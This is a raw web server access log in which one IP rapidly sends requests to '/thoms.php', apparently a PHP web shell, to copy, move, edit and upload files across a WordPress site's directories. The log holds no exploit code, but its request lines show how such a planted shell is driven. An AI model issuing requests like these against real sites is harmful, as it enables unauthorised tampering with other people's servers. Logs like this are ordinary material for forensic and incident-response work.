45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?edit=error_log&p=bossini.com.tw HTTP/1.1" 200 14391 "http://163.245.207.76:443/thoms.php?edit=error_log&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?edit=error_log&env=ace&p=bossini.com.tw HTTP/1.1" 200 18026 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18509 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22109 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:49 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18501 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12328 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18507 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18487 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22110 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?edit=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 14461 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?edit=filefuns.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 18062 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18494 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12321 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:51 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18676 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22169 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18677 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&upload= HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
